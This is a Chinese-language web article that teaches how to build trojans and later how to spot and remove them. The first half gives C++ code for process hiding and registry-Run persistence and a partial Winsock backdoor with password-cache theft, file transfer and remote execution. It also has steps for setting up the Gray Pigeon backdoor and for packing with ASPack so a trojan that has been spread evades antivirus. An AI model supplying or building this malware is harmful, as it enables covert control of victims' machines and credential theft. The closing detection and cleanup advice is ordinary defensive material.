手把手教你如何制作木马?如何识别木马?如何查杀木马?

手把手教你如何制作木马?如何识别木马?如何查杀木马?

大家应该对”木马”这个名词都不陌生,很多人感觉自己的“电脑系统变慢了”,“某些文件打不开了”,“打开网页慢了”就怀疑自己是不是中”病毒木马”了,其实这里要给大家解释一下,”病毒”和”木马”并不是一个统一概念,本质上还是有一些区别的,木马虽然属于病毒中的一类,但是要单独的从病毒类型中间剥离出来.独立的称之为”木马”程序。

图片[1]-手把手教你如何制作木马?如何识别木马?如何查杀木马?-一鸣资源网 四、 木马程序的实现

1、 木马中的关键技术实现(附源码)

1) 木马程序隐藏技术

通过注册服务程序,实现进程伪隐藏的方法:

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { try { DWORD dwVersion = GetVersion();//取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 { int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary(“KERNEL32.DLL”);//装入KERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,”RegisterServiceProcess”);//找到RegisterServiceProcess的入口 rsp(NULL,1);//注册服务 FreeLibrary(dll);//释放DLL模块 } } catch (Exception &exception)//处理异常事件 { //处理异常事件 } return 0;}

2) 程序的自启动运行技术

展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:

HKEY hkey;AnsiString NewProgramName=AnsiString(sys) AnsiString(” PName/”>//”) PNameunsigned long k;k=REG_OPENED_EXISTING_KEY;RegCreateKeyEx(HKEY_LOCAL_MACHINE,”SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//”,0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,NULL,&hkey,&k);RegSetValueEx(hkey,”BackGroup”,0,REG_SZ,NewProgramName.c_str(),NewProgramName.Length());RegCloseKey(hkey);if (int(ShellExecute(Handle,”open”,NewProgramName.c_str(),NULL,NULL,SW_HIDE))>32){WantClose=true;Close();}else{HKEY hkey;unsigned long k;k=REG_OPENED_EXISTING_KEY;long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,”SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN”,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,&k);RegSetValueEx(hkey,”BackGroup”,0,REG_SZ,ProgramName.c_str(),ProgramName.Length());int num=0;char str[20];DWORD lth=20;DWORD type;char strv[255];DWORD vl=254;DWORD Suc;do{Suc=RegEnumValue(HKEY_LOCAL_MACHINE,(DWORD)num,str,NULL,&type,strv,&vl);if (strcmp(str,”BGroup”)==0){DeleteFile(AnsiString(strv));RegDeleteValue(HKEY_LOCAL_MACHINE,”BGroup”);break;}}while(Suc== ERROR_SUCCESS);RegCloseKey(hkey);}

2、 WINSOCK编程完成一个简单”木马程序”实现(附源码)

用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能。

源代码如下:

#include #include #include #pragma hdrstop #include #pragma argsused #define RUN “//WinMon32.exe” //注册服务 #define SERVICE_PROC 1 //卸载服务 #define UNSERVICE_PROC 0 #define TH32CS_SNAPPROCESS 0x00000002 #define PROCESS_HANDLE_NAME 255 //缓冲区长度 #define dwBuffSize 2048 //命令行长度 #define dwComm 50 #define PORT 9102 #define WM_SOCKET WM_USER 1 #define PROMPT “LanLan://>” DWORD dwVersion=MAKEWORD(1,1); DWORD dwFlag=TRUE; WSADATA wsaData; SOCKET CreateSock,NewSock; SOCKADDR_IN Sock_in,NewSock_in; LPTSTR szReadBuff,Ob,TempBuff; int addrlen; //CACHE PASSWORD结构 typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; char abResource[1]; } PASSWORD_CACHE_ENTRY; typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); //CACHE PASSWORD函数原形 typedef WORD (WINAPI *PWNetEnumCachedPasswords)( LPSTR pbPrefix, DWORD cbPrefix, DWORD nType, CACHECALLBACK pfnCallback, DWORD UNKNOWN ); //TOOLHELP32 结构 typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32 * LPPROCESSENTRY32; 注:由于文章篇幅限制剩余源码可以私信我单独发送

3、 利用”灰鸽子”工具软件制作木马

灰鸽子简介: 灰鸽子是国内一款著名后门。比起前辈冰河、黑洞来,灰鸽子可以说是国内后门的集大成者。其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在合法情况下时,灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事,灰鸽子就成了很强大的黑客工具。

方法如下:

首先,在电脑上安装灰鸽子,然后进入其主页面

图片[2]-手把手教你如何制作木马?如何识别木马?如何查杀木马?-一鸣资源网

接下来我们点自动上线FTP服务器就是你FTP空间的地址

图片[3]-手把手教你如何制作木马?如何识别木马?如何查杀木马?-一鸣资源网 五、 如何给易被查杀的木马”加壳”

大家知道现在的病毒查杀软件对已知的木马程序很容易就查杀掉,所以当你好不容易制作的木马传播出去后,轻松就被客户端查杀掉了,这时我们就要利用加壳技术,给木马套个”壳”防止被杀

1、什么是加壳?

加壳:是一种通过一系列数学运算,将可执行程序文件(EXE)或动态链接库文件(DLL)的编码进行改变(目前加壳软件还可以压缩、加密),以达到缩小文件体积或加密程序编码的目的。当被加壳的程序运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。

常见到的压缩壳有”UPX”、”北斗程序压缩”、”ASPack”等,加密壳有”PE-Armor”、”ASProtect”等等。

2、利用ASPack加壳防止木马被查杀:

步骤1:下载并运行ASPack2.28软件,即可打开ASPack 2.28主窗口,如图1-69所示。在”选项”选项卡中勾选”压缩资源”、”加载后立即运行”及”使用Windows DLL 加载器”等复选项,如下图所示:

图片[4]-手把手教你如何制作木马?如何识别木马?如何查杀木马?-一鸣资源网

由于不少木马会主动侦听端口,或者会连接特定的IP和端口,所以我们可以在没有正常程序连接网络的情况下,通过检查网络连情情况来发现木马的存在。

具体的步骤是点击”开始” “运行” “cmd”,然后输入netstat -an这个命令能看到所有和自己电脑建立连接的IP以及自己电脑侦听的端口,它包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息,我们就可以完全监控电脑的网络连接情况。

2、查看目前运行的服务

图片[5]-手把手教你如何制作木马?如何识别木马?如何查杀木马?-一鸣资源网

木马常利用的系统进程有:svchost.exe、explorer.exe、iexplore.exe、winLOGOn.exe等进程。

(1)svchost.exe

常被病毒冒充的进程名有:svch0st.exe、schvost.exe、scvhost.exe。随着Windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由svchost.exe进程来启动。而系统服务是以动态链接库(DLL)形式实现的,它们把可执行程序指向scvhost,由cvhost调用相应服务的动态链接库来启动服务。

我们可以打开”控制面板”→”治理工具”→服务,双击其中”ClipBook”服务,在其属性面板中可以发现对应的可执行文件路径为”C:WINDOWSsystem32clipsrv.exe”。再双击”Alerter”服务,可以发现其可执行文件路径为”C:WINDOWSsystem32svchost.exe -k LocalService”,而”Server”服务的可执行文件路径为”C:WINDOWSsystem32svchost.exe -k netsvcs”。正是通过这种调用,可以省下不少系统资源,因此系统中出现多个svchost.exe,其实只是系统的服务而已。

在Windows系统中一般存在2个svchost.exe进程,一个是RPCSS(RemoteProcedureCall)服务进程,另外一个则是由很多服务共享的一个svchost.exe;而在WindowsXP中,则一般有4个以上的svchost.exe服务进程。假如svchost.exe进程的数量多于5个,就要小心了,很可能是病毒假冒的,检测方法也很简单,使用一些进程治理工具,例如Windows优化大师的进程治理功能,查看svchost.exe的可执行文件路径,假如在”C:WINDOWSsystem32″目录外,那么就可以判定是病毒了。

(2)explorer.exe

常被病毒冒充的进程名有:iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我们经常会用到的”资源治理器”。假如在”任务治理器”中将explorer.exe进程结束,那么包括任务栏、桌面、以及打开的文件都会统统消失,单击”任务治理器”→”文件”→”新建任务”,输入”explorer.exe”后,消失的东西又重新回来了。explorer.exe进程的作用就是让我们治理计算机中的资源。

explorer.exe进程默认是和系统一起启动的,其对应可执行文件的路径为”C:Windows”目录,除此之外则为病毒。

(3)iexplore.exe

常被病毒冒充的进程名有:iexplorer.exe、iexploer.exeiexplorer.exe进程和上文中的explorer.exe进程名很相像,因此比较轻易搞混,其实iexplorer.exe是Microsoft Internet Explorer所产生的进程,也就是我们平时使用的IE浏览器。知道作用后辨认起来应该就比较轻易了,iexplorer.exe进程名的开头为”ie”,就是IE浏览器的意思。

iexplore.exe进程对应的可执行程序位于C:ProgramFilesInternetExplorer目录中,存在于其他目录则为病毒,除非你将该文件夹进行了转移。此外,有时我们会发现没有打开IE浏览器的情况下,系统中仍然存在iexplore.exe进程,这要分两种情况:

1) 病毒假冒iexplore.exe进程名。

2) 病毒偷偷在后台通过iexplore.exe干坏事。

(4)rundll32.exe

常被病毒冒充的进程名有:rundl132.exe、rundl32.exe。rundll32.exe在系统中的作用是执行DLL文件中的内部函数,系统中存在多少个Rundll32.exe进程,就表示Rundll32.exe启动了多少个的DLL文件。其实rundll32.exe我们是会经常用到的,他可以控制系统中的一些dll文件,举个例子,在”命令提示符”中输入”rundll32.exe user32.dll,LockWorkStation”,回车后,系统就会快速切换到登录界面了。rundll32.exe的路径为”C:Windowssystem32″,在别的目录则可以判定是病毒。

(5)spoolsv.exe

常被病毒冒充的进程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系统服务”Print Spooler”所对应的可执行程序,其作用是治理所有本地和网络打印队列及控制所有打印工作。假如此服务被停用,计算机上的打印将不可用,同时spoolsv.exe进程也会从计算机上消失。假如你不存在打印机设备,那么就把这项服务关闭吧,可以节省系统资源。停止并关闭服务后,假如系统中还存在spoolsv.exe进程,这就一定是病毒伪装的了。

查杀方法:

手工查杀:

1、运行任务管理器,杀掉木马进程。

2、检查注册表中RUN、RUNSERVEICE等几项,先备份,记下可以启动项的地址, 再将可疑的删除。

3、删除上述可疑键在硬盘中的执行文件。

4、一般这种文件都在WINNT,SYSTEM,SYSTEM32这样的文件夹下,他们一般不会单独存在,很可能是有某个母文件复制过来的,检查C、D、E等盘下有没有可疑的.exe,.com或.bat文件,有则删除之。

5、检查注册表HKEY_LOCAL_MACHINE和HKEY_CURRENT_USERSOFTWAREMicrosoftInternet ExplorerMain中的几项(如Local Page),如果被修改了,改回来就可以。

6、检查HKEY_CLASSES_ROOTtxtfileshellopencommand和 HKEY_CLASSES_ROOTxtfileshellopencommand等等几个常用文件类型的默认打开程序是否被更改。这个一定要改回来。很多病毒就是通过修改.txt文件的默认打开程序让病毒在用户打开文本文件时加载的。

利用工具查杀:

查杀木马好用的工具有LockDown、The Clean、木马克星、金山木马专杀、木马清除大师、木马分析专家等,利用这些工具绝大多数的已知木马都可以查杀掉。

© 版权声明
THE END